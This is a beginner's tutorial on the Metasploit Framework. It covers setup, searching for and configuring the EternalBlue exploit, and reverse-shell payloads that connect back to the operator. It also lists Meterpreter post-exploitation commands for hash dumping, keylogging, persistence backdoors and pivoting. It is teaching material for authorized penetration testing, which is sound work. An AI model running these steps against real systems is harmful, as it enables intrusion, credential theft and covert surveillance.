Metasploit Framework: Complete Beginner's Guide

Metasploit Framework is the world's most widely used penetration testing tool, maintained by Rapid7. It provides a comprehensive platform for developing, testing, and executing exploit code against target systems. The framework includes over 2,000 exploits and 500 payloads.

Metasploit consists of several components: the msfconsole (primary command-line interface), exploit modules (code that targets specific vulnerabilities), payloads (code that runs after exploitation), auxiliary modules (scanners, fuzzers, and other tools), and post-exploitation modules.

Launch Metasploit on Kali Linux: first start the database service ('sudo systemctl start postgresql'), initialize the database ('msfdb init'), then start the console ('msfconsole'). The database stores scan results, credentials, and session data across engagements.

Practice exclusively against authorized targets. Metasploitable 2 is an intentionally vulnerable Linux VM designed for Metasploit training. Download it from Rapid7's website and run it in VirtualBox on an isolated network.

Search for exploits using: 'search type:exploit platform:windows smb'. This searches the module database filtered by type, platform, and keyword. 'search cve:2017-0144' finds the EternalBlue exploit by its CVE identifier.

Select and configure an exploit: 'use exploit/windows/smb/ms17_010_eternalblue', then 'show options' to see required settings. Set the target: 'set RHOSTS 192.168.1.100'. Use 'show targets' to select the specific OS version if multiple targets are supported.

Payloads define what happens after successful exploitation. Common payloads include 'windows/meterpreter/reverse_tcp' (interactive shell that connects back to you), 'windows/shell/reverse_tcp' (basic command shell), and 'cmd/unix/reverse_bash' (bash reverse shell for Linux).

Configure the payload: 'set payload windows/meterpreter/reverse_tcp', 'set LHOST your_ip', 'set LPORT 4444'. Then execute with 'exploit' or 'run'. If successful, you receive a session — a direct connection to the compromised system.

Meterpreter is Metasploit's advanced payload that runs entirely in memory (never touches disk), making it harder to detect. It provides a rich command set for post-exploitation activities and communicates over encrypted channels.

Essential Meterpreter commands: 'sysinfo' (system details), 'getuid' (current user), 'getsystem' (attempt privilege escalation), 'hashdump' (dump password hashes), 'screenshot' (capture screen), 'keyscan_start/keyscan_dump' (keylogging).

File system commands: 'ls', 'cd', 'cat', 'download', 'upload', 'search -f *.doc' (find files). Network commands: 'ipconfig', 'route', 'portfwd' (port forwarding for pivoting to internal networks).

Persistence commands: 'run persistence' installs a persistent backdoor (only use in authorized testing), 'run autoroute' adds routes through the compromised host for pivoting, 'run post/multi/manage/shell_to_meterpreter' upgrades basic shells to Meterpreter.

Auxiliary modules perform scanning, enumeration, and fuzzing without exploiting vulnerabilities. 'use auxiliary/scanner/portscan/tcp' performs port scanning, 'auxiliary/scanner/smb/smb_enumshares' enumerates SMB shares, and 'auxiliary/scanner/http/http_version' identifies web server software.

A typical Metasploit workflow: (1) Scan the target with db_nmap to populate the database, (2) Search for exploits matching discovered services, (3) Configure and run the exploit, (4) Conduct post-exploitation activities, (5) Document all findings.

Use workspaces to organize engagements: 'workspace -a project_name' creates a new workspace, 'workspace project_name' switches to it. The 'hosts', 'services', 'vulns', and 'creds' commands display collected data across the engagement.

Metasploit's resource scripts automate repetitive tasks. Create a file with MSF commands (one per line) and execute with 'resource script.rc'. This ensures consistency across tests and speeds up common workflows.